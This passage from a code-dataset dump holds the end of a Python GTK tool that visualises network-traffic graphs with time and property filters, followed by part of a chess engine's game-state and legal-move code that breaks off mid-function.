self.liststore.set_value(self.liststore.get_iter(i), 2, 100)\n\nclass ResetFilters(Gtk.Box):\n\n    def __init__(self, GUI, g, message, name, filter_box):\n        Gtk.Box.__init__(self)\n        self.set_border_width(10)\n        self.GUI = GUI\n        self.g = g\n        self.name = name\n        self.filter_box = filter_box\n\n        button = Gtk.Button.new_with_label(message)\n        button.connect(\"clicked\", self.on_click)\n        self.pack_start(button, True, True, 0)\n\n    def on_click(self, widget):\n        self.filter_box.reset_filters()\n        if self.name == \"vertex\":\n            self.GUI.reset_vertex_filters()\n        else: # self.name == \"edge\"\n            self.GUI.reset_edge_filters()\n\n\nclass GUI:\n\n    def __init__(self):\n\n        self.win = Gtk.Window()\n        self.window_grid = Gtk.Grid()\n\n        self.time_start = 0 # start of current time interval\n        self.time_end = 0 # end of current time interval\n        self.interval_length = 300\n        self.step_length = 150\n\n        # Dictionaries of property maps (vertex or edge) to filter the graph\n        self.vertex_filters = {}\n        self.edge_filters = {}\n\n        self.g = Graph()\n        self.graph = GraphWidget(self.g, pos=sfdp_layout(self.g))\n        self.graph_left, self.graph_top, self.graph_width, self.graph_height \\\n            = 0, 10, 10, 10\n\n        self.file_box = Gtk.Box(spacing=10)\n        self.set_time_button = TimeSelectButton(self, self.g, \\\n            \"Select time steps and intervals\")\n        self.time_step_button = TimeStepButton(self, \"Step\")\n        self.time_range_label = Gtk.Label(\"\")\n\n        self.graph_stats_button = GraphStatisticsButton(self, self.g)\n\n        self.vertex_filter_box = VertexFilterBox(self, self.g)\n        self.edge_filter_box = EdgeFilterBox(self, self.g)\n\n        self.vertex_filter_reset = ResetFilters(self, self.g, \\\n            \"Reset vertex filters\", \"vertex\", self.vertex_filter_box)\n        self.edge_filter_reset = ResetFilters(self, self.g, \\\n            \"Reset edge filters\", \"edge\", self.edge_filter_box)\n\n        self.win.connect(\"delete-event\", Gtk.main_quit)\n\n        self.start_window()\n\n    def start_window(self):\n        self.graph.set_size_request(700, 700)\n\n        self.file_box.pack_start(Gtk.Label(\"Upload a file\"), True, True, 0)\n        self.file_box.pack_start(File_Chooser(self, self.win, self.window_grid, self.graph, \\\n            self.graph_left, self.graph_top, self.graph_width, self.graph_height), True, True, 0)\n          \n        self.window_grid.attach(self.file_box, 0, 0, 3, 1)\n        self.window_grid.attach(self.set_time_button, 0, 1, 2, 1)\n        self.window_grid.attach(self.graph_stats_button, 0, 2, 1, 1)\n        self.window_grid.attach(self.time_step_button, 0, 3, 1, 1)\n        self.window_grid.attach(self.time_range_label, 0, 4, 1, 1)\n\n        self.window_grid.attach(self.vertex_filter_box, 3, 0, 3, 8)\n        self.window_grid.attach(self.edge_filter_box, 6, 0, 3, 3)\n        self.window_grid.attach(self.vertex_filter_reset, 6, 3, 1, 1)\n        self.window_grid.attach(self.edge_filter_reset, 6, 4, 1, 1)\n\n        self.window_grid.attach(self.graph, self.graph_left, \\\n            self.graph_top, self.graph_width, self.graph_height)\n\n        self.win.add(self.window_grid)\n\n        self.win.show_all()\n\n    def restart_window(self, g = Graph()):\n        \n        self.window_grid.destroy()\n        \n        self.window_grid = Gtk.Grid()\n        \n        self.g = g\n        self.time_start = self.g.gp.earliest_timestamp\n        self.time_end = self.g.gp.latest_timestamp\n        try:\n            self.graph = GraphWidget(g, edge_pen_width = 1.2, vertex_size=10, \\\n                vertex_fill_color = 'r', pos=sfdp_layout(g), \\\n                multilevel=False, display_props=[self.g.vp.ip_address], \\\n                update_layout=False)\n        except:\n            self.graph = GraphWidget(g, edge_pen_width = 1.2, vertex_size=10, \\\n                vertex_fill_color = 'r', pos=sfdp_layout(g), \\\n                multilevel=False, display_props=None, update_layout=False)\n        \n        self.file_box = Gtk.Box(spacing=10)\n        self.set_time_button = TimeSelectButton(self, g, \\\n            \"Select time steps and intervals\")\n        self.time_step_button = TimeStepButton(self, \"Step\")\n        self.time_range_label = Gtk.Label(\"\")\n\n        self.graph_stats_button = GraphStatisticsButton(self, self.g)\n        self.vertex_filter_box = VertexFilterBox(self, self.g)\n        self.edge_filter_box = EdgeFilterBox(self, self.g)\n        self.vertex_filter_reset = ResetFilters(self, self.g, \\\n            \"Reset vertex filters\", \"vertex\", self.vertex_filter_box)\n        self.edge_filter_reset = ResetFilters(self, self.g, \\\n            \"Reset edge filters\", \"edge\", self.edge_filter_box)\n        \n        self.start_window()\n\n    def apply_filter(self, g):\n        #self.graph.destroy()\n        self.g = g\n        try:\n            self.graph = GraphWidget(self.g, edge_pen_width = 1.2, vertex_size=10, \\\n                vertex_fill_color = 'r', pos=sfdp_layout(g), \\\n                multilevel=False, display_props=[self.g.vp.ip_address], \\\n                update_layout=False)\n        except:\n            self.graph = GraphWidget(self.g, edge_pen_width = 1.2, vertex_size=10, \\\n                vertex_fill_color = 'r', pos=sfdp_layout(g), \\\n                multilevel=False, display_props=None, update_layout=False)\n        self.window_grid.attach(self.graph, self.graph_left, \\\n            self.graph_top, self.graph_width, self.graph_height)\n        self.win.show_all()\n\n    def initialize_time_steps(self, interval_length, step_length):\n        self.interval_length = interval_length\n        self.step_length = step_length\n\n        self.g.set_edge_filter(None)\n\n        self.time_start = self.g.gp.earliest_timestamp\n        self.time_end = min(self.g.gp.earliest_timestamp + self.interval_length, \\\n            self.g.gp.latest_timestamp)\n        self.update_time_range()\n\n    def update_time_range(self):\n\n        self.time_range_label.set_label(\"Time Range: %d s - %d s\" \\\n            % (self.time_start - self.g.gp.earliest_timestamp, \\\n               self.time_end - self.g.gp.earliest_timestamp))\n\n        time_filter = self.g.new_edge_property(\"bool\")\n        for e in self.g.edges():\n            edge_timestamp = self.g.ep.initial_timestamp[e]\n            if edge_timestamp > self.time_start \\\n                and edge_timestamp < self.time_end:\n                time_filter[e] = True\n            else:\n                time_filter[e] = False\n\n        self.edge_filters['time_filter'] = time_filter\n        self.set_overall_filter()\n\n    def do_time_step(self):\n        self.g.set_edge_filter(None)\n        if self.time_end + self.step_length > self.g.gp.latest_timestamp:\n            self.time_start = self.g.gp.latest_timestamp - self.step_length\n            self.time_end = self.g.gp.latest_timestamp\n        else:   \n            self.time_start += self.step_length\n            self.time_end += self.step_length\n        self.update_time_range()\n\n    def set_overall_filter(self):\n        self.g.set_vertex_filter(None)\n        self.g.set_edge_filter(None)\n        overall_vertex_filter = self.g.new_vertex_property(\"bool\")\n        overall_vertex_filter.a = np.array([True] * self.g.num_vertices())\n\n        overall_edge_filter = self.g.new_edge_property(\"bool\")\n        overall_edge_filter.a = np.array([True] * self.g.num_edges())\n\n        for vertex_filter in self.vertex_filters.values():\n            overall_vertex_filter.a = overall_vertex_filter.get_array() \\\n                & vertex_filter.get_array()\n\n        for edge_filter in self.edge_filters.values():\n            overall_edge_filter.a = overall_edge_filter.get_array() \\\n                & edge_filter.get_array()\n\n        self.g.set_vertex_filter(overall_vertex_filter)\n        self.g.set_edge_filter(overall_edge_filter)\n        self.apply_filter(self.g)\n\n    def reset_vertex_filters(self):\n        self.g.set_vertex_filter(None)\n        self.g.set_edge_filter(None)\n        for name in self.vertex_filters.keys():\n            self.vertex_filters[name].a = np.array([True] * self.g.num_vertices())\n        self.set_overall_filter()\n        \n    def reset_edge_filters(self):\n        self.g.set_vertex_filter(None)\n        self.g.set_edge_filter(None)\n        for name in self.edge_filters.keys():\n            if name != 'time_filter':\n                self.edge_filters[name].a = np.array([True] * self.g.num_edges())\n        self.set_overall_filter()\n\n\ndef main():\n    app = GUI()\n    Gtk.main()\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n\n'''\n# Add ALL possible graph statistics to the lists\n# Centrality measures: https://graph-tool.skewed.de/static/doc/centrality.html\nv_page_rank = pagerank(g)\nv_betweenness, e_betweenness = betweenness(g)\nv_closeness = closeness(g)\ng_central_point_dominance = central_point_dominance(g, v_betweenness)\ng_adjacency_eigenvalue, v_eigenvector = eigenvector(g)\nv_katz = katz(g)\ng_cocitation_eigenvalue, v_authority_centrality, v_hub_centrality = hits(g)\nv_eigentrust = eigentrust(g)\n# not including trust transitivity since we have no trust values\n'''\n# Graph topology measures: https://graph-tool.skewed.de/static/doc/flow.html\n\n# Misc. statistics: https://graph-tool.skewed.de/static/doc/stats.html\n# If there's time, look into making averages & histograms of properties of edges and vertices\n\n# Inferring network structure: https://graph-tool.skewed.de/static/doc/demos/inference/inference.html\n# Can generate images and interactive windows of the groupings etc...requires deeper reading\n\n","repo_name":"kapilsinha/botnet-surf","sub_path":"old_files/graph_gui.py","file_name":"graph_gui.py","file_ext":"py","file_size_in_byte":35895,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"38912671436","text":"import chess_constants as k\nimport chess\n\n\nclass GameState:\n    \"\"\"Core of the application\n       Stores every information\n       about the game state, makes\n       / unmakes a move and\n       returns valid moves\n    \"\"\"\n    def __init__(self):\n        k.flip = False\n        if not k.flip:\n            self.board = [[\"bR\", \"bN\", \"bB\", \"bQ\", \"bK\", \"bB\", \"bN\", \"bR\"],\n                          [\"bP\", \"bP\", \"bP\", \"bP\", \"bP\", \"bP\", \"bP\", \"bP\"],\n                          [\"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\"],\n                          [\"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\"],\n                          [\"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\"],\n                          [\"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\", \"xx\"],\n                          [\"wP\", \"wP\", \"wP\", \"wP\", \"wP\", \"wP\", \"wP\", \"wP\"],\n                          [\"wR\", \"wN\", \"wB\", \"wQ\", \"wK\", \"wB\", \"wN\", \"wR\"]]\n        else:\n            self.board = k.default_flipped_board\n\n        self.move_functions = {'P': self.get_pawn_moves, 'R': self.get_rook_moves, 'N': self.get_knight_moves,\n                               'B': self.get_bishop_moves, 'Q': self.get_queen_moves, 'K': self.get_king_moves}\n        self.white_moves = True\n        self.move_log = []\n        self.pgn_log = []\n        self.white_king_location = k.white_king_location if not k.flip else k.black_king_location\n        self.black_king_location = k.black_king_location if not k.flip else k.white_king_location\n        self.checkmate = False\n        self.stalemate = False\n        self.draw_rule = False\n        self.fifty_draw_counter = 0\n        self.checked = False\n        self.white_castled = False\n        self.black_castled = False\n        self.pins = []\n        self.checks = []\n        self.en_passant = ()\n        self.en_passant_coordinates = None\n        self.en_passant_log = [self.en_passant]\n        self.valid_moves_counter = 0\n        self.castling_flags = CastleFlags(True, True, True, True)\n        self.castling_log = [CastleFlags(True, True, True, True)]\n        self.eventual_ambiguous_moves = []\n        self.last_ambiguous_moves = []\n        self.board_history = []\n        self.undo_flag = False\n        self.chessboard = chess.Board()\n        self.fen_notation = None\n        self.pawn_moved_white = False\n        self.pawn_moved_black = False\n        self.white_bishop_counter = 2\n        self.black_bishop_counter = 2\n        self.repetition_punish = [False, False]\n        self.temp_castling_flags = None\n        self.developing_white_moves = 0\n        self.developing_black_moves = 0\n        self.position_score = 0\n        self.update_board_fen()\n\n    def make_move(self, move):\n        \"\"\"Makes the given move and updates\n           the game state\n\n           Keyword arguments:\n           move -- Move object (start row, start col, end row, end col)\n        \"\"\"\n        self.last_ambiguous_moves = self.eventual_ambiguous_moves\n        self.board[move.start_row][move.start_col] = k.empty\n        self.board[move.end_row][move.end_col] = move.piece_to_move\n        self.position_score = 0\n\n        if move in self.move_log:\n            if self.white_moves:\n                self.repetition_punish[0] = True\n            else:\n                self.repetition_punish[1] = True\n\n        self.move_log.append(move)\n        if move.piece_to_move[1] == \"P\" or move.place_to_go[1] == \"P\":\n            self.fifty_draw_counter = 0\n            if self.white_moves:\n                self.pawn_moved_white = True\n            else:\n                self.pawn_moved_black = True\n        else:\n            self.fifty_draw_counter += 1\n            self.pawn_moved_white = False\n            self.pawn_moved_black = False\n\n        self.white_moves = not self.white_moves\n\n        if move.place_to_go == \"bB\":\n            self.black_bishop_counter -= 1\n\n        if move.place_to_go == \"wB\":\n            self.white_bishop_counter -= 1\n\n        if move.piece_to_move == \"wK\":\n            self.white_king_location = (move.end_row, move.end_col)\n        elif move.piece_to_move == \"bK\":\n            self.black_king_location = (move.end_row, move.end_col)\n\n        if move.is_pawn_promotion:\n            self.board[move.end_row][move.end_col] = move.piece_to_move[0] + \"Q\"\n\n        if move.en_passant_move:\n            self.board[move.start_row][move.end_col] = k.empty\n\n        if move.piece_to_move[1] == \"P\" and abs(move.end_row - move.start_row) == 2:\n            self.en_passant = ((move.start_row + move.end_row) // 2,\n                               move.end_col)\n            self.en_passant_coordinates = k.get_file_rank_notation((move.start_row + move.end_row) // 2, move.end_col)\n        else:\n            self.en_passant = ()\n            self.en_passant_coordinates = None\n\n        if move.castle_move:\n            if move.end_col - move.start_col == 2:\n                self.board[move.end_row][move.end_col - 1] = self.board[move.end_row][move.end_col + 1]\n                self.board[move.end_row][move.end_col + 1] = k.empty\n            else:\n                self.board[move.end_row][move.end_col + 1] = self.board[move.end_row][move.end_col - 2]\n                self.board[move.end_row][move.end_col - 2] = k.empty\n            if self.white_moves:\n                self.black_castled = True\n            else:\n                self.white_castled = True\n\n        move_pgn = move.get_chess_notation()\n\n        # if not self.white_moves:\n        #     if move_pgn in k.developing_moves_white:\n        #         k.developing_moves_white.remove(move_pgn)\n        #         self.developing_white_moves += 1\n        #\n        # if self.white_moves:\n        #     if move_pgn in k.developing_moves_black:\n        #         k.developing_moves_black.remove(move_pgn)\n        #         self.developing_black_moves += 1\n\n        if self.in_check():\n            move_pgn += \"+\"\n\n        self.pgn_log.append(move_pgn)\n        self.en_passant_log.append(self.en_passant)\n\n        self.temp_castling_flags = self.update_castle_flags(move)\n        self.castling_log.append(self.temp_castling_flags)\n        self.castling_flags = self.temp_castling_flags\n        repetition_counter = self.update_board_fen()\n\n        if repetition_counter == 3 or self.fifty_draw_counter == 50:\n            self.draw_rule = True\n\n    def undo_move(self):\n        \"\"\"Inverse make_move operation\n           Sets the game state back to it's last\n        \"\"\"\n        if len(self.move_log) != 0:\n            move = self.move_log.pop()\n            self.pgn_log.pop()\n            self.board_history.pop()\n            if self.fifty_draw_counter != 0:\n                self.fifty_draw_counter -= 1\n            self.draw_rule = False\n            self.undo_flag = True\n            self.pawn_moved_black = False\n            self.pawn_moved_white = False\n            self.board[move.start_row][move.start_col] = move.piece_to_move\n            self.board[move.end_row][move.end_col] = move.place_to_go\n            self.white_moves = not self.white_moves\n\n            if move.piece_to_move == \"wK\":\n                self.white_king_location = (move.start_row, move.start_col)\n            elif move.piece_to_move == \"bK\":\n                self.black_king_location = (move.start_row, move.start_col)\n\n            if move.place_to_go == \"bB\":\n                self.black_bishop_counter += 1\n            if move.place_to_go == \"wB\":\n                self.white_bishop_counter += 1\n\n            if move.en_passant_move:\n                self.board[move.end_row][move.end_col] = k.empty\n                self.board[move.start_row][move.end_col] = move.place_to_go\n\n            self.en_passant_log.pop()\n            self.en_passant = self.en_passant_log[-1]\n\n            self.castling_log.pop()\n            self.castling_flags = self.castling_log[-1]\n\n            if move.castle_move:\n                if move.end_col - move.start_col == 2:\n                    self.board[move.end_row][move.end_col + 1] = self.board[move.end_row][move.end_col - 1]\n                    self.board[move.end_row][move.end_col - 1] = k.empty\n                else:\n                    self.board[move.end_row][move.end_col - 2] = self.board[move.end_row][move.end_col + 1]\n                    self.board[move.end_row][move.end_col + 1] = k.empty\n                if move.castle_move:\n                    if self.white_moves:\n                        self.white_castled = False\n                    else:\n                        self.black_castled = False\n            self.checkmate = False\n            self.stalemate = False\n\n    def update_castle_flags(self, move):\n        \"\"\"Sets the castle flags to false\n           in case a king / rook moved\n\n           Keyword arguments:\n           move -- Move object (start row, start col, end row, end col)\n        \"\"\"\n        temp = CastleFlags(self.castling_flags.wks, self.castling_flags.bks,\n                           self.castling_flags.wqs, self.castling_flags.bqs)\n        if move.place_to_go == \"wR\":\n            if move.end_col == 0:\n                temp.wqs = False\n            elif move.end_col == 7:\n                temp.wks = False\n        elif move.place_to_go == \"bR\":\n            if move.end_col == 0:\n                temp.bqs = False\n            elif move.end_col == 7:\n                temp.bks = False\n\n        if move.piece_to_move == 'wK':\n            temp.wqs = False\n            temp.wks = False\n        elif move.piece_to_move == 'bK':\n            temp.bqs = False\n            temp.bks = False\n        elif move.piece_to_move == 'wR':\n            if move.start_row == 7:\n                if move.start_col == 0:\n                    temp.wqs = False\n                elif move.start_col == 7:\n                    temp.wks = False\n        elif move.piece_to_move == 'bR':\n            if move.start_row == 0:\n                if move.start_col == 0:\n                    temp.bqs = False\n                elif move.start_col == 7:\n                    temp.bks = False\n        return temp\n\n    def get_all_possible_moves(self):\n        \"\"\"Calls every move function in\n           order to get every possible move\n           (invalid ones too)\n        \"\"\"\n        moves = []\n        for row in range(len(self.board)):\n            for col in range(len(self.board[row])):\n                piece_color = self.board[row][col][0]\n                if (piece_color == 'w' and self.white_moves) or (piece_color == 'b' and not self.white_moves):\n                    self.move_functions[self.board[row][col][1]](row, col, moves)\n        return moves\n\n    def king_helper(self):\n        \"\"\"Returns the pinned squares, the squares\n           which generate check (with the direction of the\n           attacking piece) and the state of the king\n        \"\"\"\n        checked = False\n        pins = []\n        checks = []\n        directions = ((-1, 0), (0, -1), (1, 0), (0, 1), (-1, -1), (-1, 1), (1, -1), (1, 1))\n\n        (start_row, start_col) = self.white_king_location if self.white_moves else self.black_king_location\n        enemy = \"b\" if self.white_moves else \"w\"\n        ally = \"w\" if self.white_moves else \"b\"\n\n        for i in range(len(directions)):\n            d = directions[i]\n            eventual_pin = ()\n            for j in range(1, 8):\n                end_row = start_row + d[0] * j\n                end_col = start_col + d[1] * j\n                if 0 <= end_row <= 7 and 0 <= end_col <= 7:\n                    end_piece = self.board[end_row][end_col]\n                    # the first piece between the king an an `eventual enemy` might be pinned\n                    if end_piece[0] == ally and end_piece[1] != \"K\":\n                        if eventual_pin == ():\n                            eventual_pin = (end_row, end_col, d[0], d[1])\n                        else:\n                            # if the second piece is found, there's no pin\n                            break\n                    elif end_piece[0] == enemy:\n                        # In case an enemy piece is found, there are 5 cases:\n                        # 1) orthogonal direction and piece is a rook (first 3 directions)\n                        # 2) diagonal direction and piece is a bishop\n                        # 3) pawn pin (can't go to a place defended by a pawn)\n                        # 4) every direction and piece is a queen\n                        # 5) kings (can't face each other)\n                        enemy_piece = end_piece[1]\n                        if (0 <= i <= 3 and enemy_piece == \"R\") or (4 <= i <= 7 and enemy_piece == \"B\") or (\n                                j == 1 and enemy_piece == \"P\" and (\n                                (enemy == \"w\" and 6 <= i <= 7 and not k.flip) or\n                                (enemy == \"b\" and 4 <= i <= 5 and not k.flip) or\n                                (enemy == \"b\" and 6 <= i <= 7 and k.flip) or\n                                (enemy == \"w\" and 4 <= i <= 5 and k.flip))) or (\n                                enemy_piece == \"Q\") or (j == 1 and enemy_piece == \"K\"):\n                            if eventual_pin == ():\n                                checked = True\n                                checks.append((end_row, end_col, d[0], d[1]))\n                                break\n                            else:\n                                pins.append(eventual_pin)\n                                break\n                        else:\n                            break\n                else:\n                    break\n\n        knight_moves = ((-2, -1), (-2, 1), (-1, 2), (1, 2), (2, -1), (2, 1), (-1, -2), (1, -2))\n        for move in knight_moves:\n            end_row = start_row + move[0]\n            end_col = start_col + move[1]\n            if 0 <= end_row <= 7 and 0 <= end_col <= 7:\n                end_piece = self.board[end_row][end_col]\n                if end_piece[0] == enemy and end_piece[1] == \"N\":\n                    checked = True\n                    checks.append((end_row, end_col, move[0], move[1]))\n        return checked, pins, checks\n\n    def get_valid_moves(self):\n        \"\"\"After pins and checks are calculated\n           Remove illegal moves and get castle moves (if any)\n           Set state to checkmate / stalemate if no valid moves\n        \"\"\"\n        temp_castle_rights = CastleFlags(self.castling_flags.wks, self.castling_flags.bks,\n                                         self.castling_flags.wqs, self.castling_flags.bqs)\n\n        self.eventual_ambiguous_moves = []\n        moves = []\n        self.checked, self.pins, self.checks = self.king_helper()\n\n        (king_row, king_col) = self.white_king_location if self.white_moves else self.black_king_location\n\n        if self.checked:\n            if len(self.checks) == 1:\n                moves = self.get_all_possible_moves()\n                check = self.checks[0]\n                check_row = check[0]\n                check_col = check[1]\n                piece_checking = self.board[check_row][check_col]\n                valid_squares = []\n                if piece_checking[1] == \"N\":\n                    valid_squares = [(check_row, check_col)]\n                else:\n                    for i in range(1, 8):\n                        valid_square = (king_row + check[2] * i, king_col + check[3] * i)\n                        valid_squares.append(valid_square)\n                        if valid_square[0] == check_row and valid_square[1] == check_col:\n                            break\n\n                for i in range(len(moves)-1, -1, -1):\n                    if moves[i].piece_to_move[1] != \"K\":\n                        if not (moves[i].end_row, moves[i].end_col) in valid_squares:\n                            moves.remove(moves[i])\n            else:\n                self.get_king_moves(king_row, king_col, moves)\n        else:\n            moves = self.get_all_possible_moves()\n            if not k.imported:\n                if self.white_moves:\n                    self.get_castle_moves(self.white_king_location[0], self.white_king_location[1], moves)\n                else:\n                    self.get_castle_moves(self.black_king_location[0], self.black_king_location[1], moves)\n\n        if len(moves) == 0:\n            if self.in_check():\n                self.checkmate = True\n            else:\n                self.stalemate = True\n        else:\n            self.checkmate = False\n            self.stalemate = False\n\n        self.castling_flags = temp_castle_rights\n        self.valid_moves_counter = len(moves)\n        return moves\n\n    def in_check(self):\n        \"\"\"Return true if the king of\n           the current play is\n           under attack (checked)\n        \"\"\"\n        if self.white_moves:\n            return self.square_attacked(self.white_king_location[0], self.white_king_location[1])\n        else:\n            return self.square_attacked(self.black_king_location[0], self.black_king_location[1])\n\n    def square_attacked(self, row, col):\n        \"\"\"Return true if the square\n           with the coordinates (row, col)\n           is attacked by any enemy piece\n\n           Keyword arguments:\n           row -- (0-7)\n           col -- (0-7)\n        \"\"\"\n        self.white_moves = not self.white_moves\n        opponent_moves = self.get_all_possible_moves()\n        self.white_moves = not self.white_moves\n        for move in opponent_moves:\n            if move.end_row == row and move.end_col == col:\n                return True\n        return False\n\n    def get_pawn_moves(self, row, col, moves):\n        \"\"\"Appends the pawn moves to\n           the final valid moves list\n           removes eventual-pinned pieces\n\n           Keyword arguments:\n           row   -- (0-7)\n           col   -- (0-7)\n           moves -- current valid moves\n        \"\"\"\n        pinned = False\n        pin_direction = ()\n\n        for i in range(len(self.pins)-1, -1, -1):\n            if self.pins[i][0] == row and self.pins[i][1] == col:\n                pinned = True\n                pin_direction = (self.pins[i][2], self.pins[i][3])\n                self.pins.remove(self.pins[i])\n                break\n\n        king_row, king_col = self.white_king_location if self.white_moves else self.black_king_location\n        increment = -1 if (self.white_moves and not k.flip) or\\\n                          (not self.white_moves and k.flip) else 1\n        start_pos = 6 if (self.white_moves and not k.flip) or (not self.white_moves and k.flip) else 1\n        enemy = \"b\" if self.white_moves else \"w\"\n\n        if self.board[row + increment][col] == k.empty:\n            if not pinned or pin_direction == (increment, 0):\n                k.insert_move_ordering(moves, Move((row, col), (row + increment, col), self))\n                if row == start_pos and self.board[row + 2 * increment][col] == k.empty:\n                    k.insert_move_ordering(moves, Move((row, col), (row + 2 * increment, col), self))\n\n        if col-1 >= 0:\n            if not pinned or pin_direction == (increment, -1):\n                if self.board[row + increment][col - 1][0] == enemy:\n                    k.insert_move_ordering(moves, Move((row, col), (row + increment, col - 1), self))\n                if (row + increment, col - 1) == self.en_passant:\n                    attack_piece = block_piece = False\n                    if king_row == row:\n                        if king_col < col:\n                            inside = range(king_col + 1, col - 1)\n                            outside = range(col + 1, 8)\n                        else:\n                            inside = range(king_col - 1, col, -1)\n                            outside = range(col - 2, -1, -1)\n                        for i in inside:\n                            if self.board[row][i] != k.empty:\n                                block_piece = True\n                        for i in outside:\n                            square = self.board[row][i]\n                            if square[0] == enemy and (square[1] == \"R\" or square[1] == \"Q\"):\n                                attack_piece = True\n                            elif square != k.empty:\n                                block_piece = True\n                    if not attack_piece or block_piece:\n                        k.insert_move_ordering(moves,\n                                               Move((row, col), (row + increment, col - 1), self, en_passant=True))\n\n        if col + 1 <= 7:\n            if not pinned or pin_direction == (increment, 1):\n                if self.board[row + increment][col + 1][0] == enemy:\n                    k.insert_move_ordering(moves, Move((row, col), (row + increment, col + 1), self))\n                if (row + increment, col + 1) == self.en_passant:\n                    attack_piece = block_piece = False\n                    if king_row == row:\n                        if king_col < col:\n                            inside = range(king_col + 1, col)\n                            outside = range(col + 2, 8)\n                        else:\n                            inside = range(king_col - 1, col + 1, -1)\n                            outside = range(col - 1, -1, -1)\n                        for i in inside:\n                            if self.board[row][i] != k.empty:\n                                block_piece = True\n                        for i in outside:\n                            square = self.board[row][i]\n                            if square[0] == enemy and (square[1] == \"R\" or square[1] == \"Q\"):\n                                attack_piece = True\n                            elif square != k.empty:\n                                block_piece = True\n                    if not attack_piece or block_piece:\n                        k.insert_move_ordering(moves,\n                                               Move((row, col), (row + increment, col + 1), self, en_passant=True))\n\n    def get_knight_moves(self, row, col, moves):\n        \"\"\"Appends the knight moves to\n           the final valid moves list\n           removes eventual-pinned pieces\n\n           Keyword arguments:\n           row   -- (0-7)\n           col   -- (0-7)\n           moves -- current valid moves\n        \"\"\"\n        pinned = False\n\n        for i in range(len(self.pins)-1, -1, -1):\n            if self.pins[i][0] == row and self.pins[i][1] == col:\n                pinned = True\n                self.pins.remove(self.pins[i])\n                break\n\n        knight_moves = ((-2, -1), (-2, 1), (-1, -2), (-1, 2), (1, -2), (1, 2), (2, -1), (2, 1))\n        ally = \"w\" if self.white_moves else \"b\"\n        for move in knight_moves:\n            end_row = row + move[0]\n            end_col = col + move[1]\n            if 0 <= end_row < 8 and 0 <= end_col < 8:\n                if not pinned:\n                    end_piece = self.board[end_row][end_col]\n                    if end_piece[0] != ally:\n                        knight_move = Move((row, col), (end_row, end_col), self)\n                        k.insert_move_ordering(moves, knight_move)\n                        self.eventual_ambiguous_moves.append([end_row, end_col, f\"N{'w' if self.white_moves else 'b'}\"])\n\n    def get_bishop_moves(self, row, col, moves):\n        \"\"\"Appends the bishop moves to\n           the final valid moves list\n           removes eventual-pinned pieces\n\n           Keyword arguments:\n           row   -- (0-7)\n           col   -- (0-7)\n           moves -- current valid moves\n        \"\"\"\n        pinned = False\n        pin_direction = ()\n\n        for i in range(len(self.pins)-1, -1, -1):\n            if self.pins[i][0] == row and self.pins[i][1] == col:\n                pinned = True\n                pin_direction = (self.pins[i][2], self.pins[i][3])\n                self.pins.remove(self.pins[i])\n                break\n\n        directions = ((-1, -1), (-1, 1), (1, -1), (1, 1))\n        enemy = \"b\" if self.white_moves else \"w\"\n        ally = \"w\" if self.white_moves else \"b\"\n        for d in directions:\n            for i in range(1, 8):\n                end_row = row + d[0] * i\n                end_col = col + d[1] * i\n                if 0 <= end_row < 8 and 0 <= end_col < 8:\n                    if not pinned or pin_direction == d or pin_direction == (-d[0], -d[1]):\n                        end_piece = self.board[end_row][end_col]\n                        if end_piece == \"xx\":\n                            k.insert_move_ordering(moves, Move((row, col), (end_row, end_col), self))\n                            if self.board[row][col][1] == 'Q':\n                                self.eventual_ambiguous_moves.append([end_row, end_col,\n                                                                      str(self.board[row][col][1] + ally)])\n                        elif end_piece[0] == enemy:\n                            k.insert_move_ordering(moves, Move((row, col), (end_row, end_col), self))\n                            if self.board[row][col][1] == 'Q':\n                                self.eventual_ambiguous_moves.append([end_row, end_col,\n                                                                      str(self.board[row][col][1] + ally)])\n                            break\n                        else:\n                            break\n                else:\n                    break\n\n    def get_rook_moves(self, row, col, moves):\n        \"\"\"Appends the rook moves to\n           the final valid moves list\n           removes eventual-pinned pieces\n\n           Keyword arguments:\n           row   -- (0-7)\n           col   -- (0-7)\n           moves -- current valid moves\n        \"\"\"\n        pinned = False\n        pin_direction = ()\n\n        for i in range(len(self.pins)-1, -1, -1):\n            if self.pins[i][0] == row and self.pins[i][1] == col:\n                pinned = True\n                pin_direction = (self.pins[i][2], self.pins[i][3])\n                if self.board[row][col][1] != \"Q\":\n                    self.pins.remove(self.pins[i])\n                break\n\n        directions = ((-1, 0), (0, -1), (1, 0), (0, 1))\n        enemy = \"b\" if self.white_moves else \"w\"\n        ally = \"w\" if self.white_moves else \"b\"\n        for d in directions:\n            for i in range(1, 8):\n                end_row = row + d[0] * i\n                end_col = col + d[1] * i\n                if 0 <= end_row < 8 and 0 <= end_col < 8:\n                    if not pinned or pin_direction == d or pin_direction == (-d[0], -d[1]):\n                        end_piece = self.board[end_row][end_col]\n                        if end_piece == k.empty:\n                            k.insert_move_ordering(moves, Move((row, col), (end_row, end_col), self))\n                            self.eventual_ambiguous_moves.append([end_row, end_col,\n                                                                  str(self.board[row][col][1] + ally)])\n                        elif end_piece[0] == enemy:\n                            k.insert_move_ordering(moves, Move((row, col), (end_row, end_col), self))\n                            self.eventual_ambiguous_moves.append([end_row, end_col,\n                                                                  str(self.board[row][col][1] + ally)])\n                            break\n                        else:\n                            break\n                else:\n                    break\n\n    def get_queen_moves(self, row, col, moves):\n        \"\"\"Appends the queen moves to\n           the final valid moves list\n           removes eventual-pinned pieces\n           queen moves = bishop moves + rook moves\n\n           Keyword arguments:\n           row   -- (0-7)\n           col   -- (0-7)\n           moves -- current valid moves\n        \"\"\"\n        self.get_rook_moves(row, col, moves)\n        self.get_bishop_moves(row, col, moves)\n\n    def get_king_moves(self, row, col, moves):\n        \"\"\"Appends the king moves to\n           the final valid moves list\n           removes eventual-pinned piece\n           and updates the king location\n\n           Keyword arguments:\n           row   -- (0-7)\n           col   -- (0-7)\n           moves -- current valid moves\n        \"\"\"\n        row_moves = (-1, -1, -1, 0, 0, 1, 1, 1)\n        col_moves = (-1, 0, 1, -1, 1, -1, 0, 1)\n        ally = \"w\" if self.white_moves else \"b\"\n        for i in range(8):\n            end_row = row + row_moves[i]\n            end_col = col + col_moves[i]\n            if 0 <= end_row < 8 and 0 <= end_col < 8:\n                end_piece = 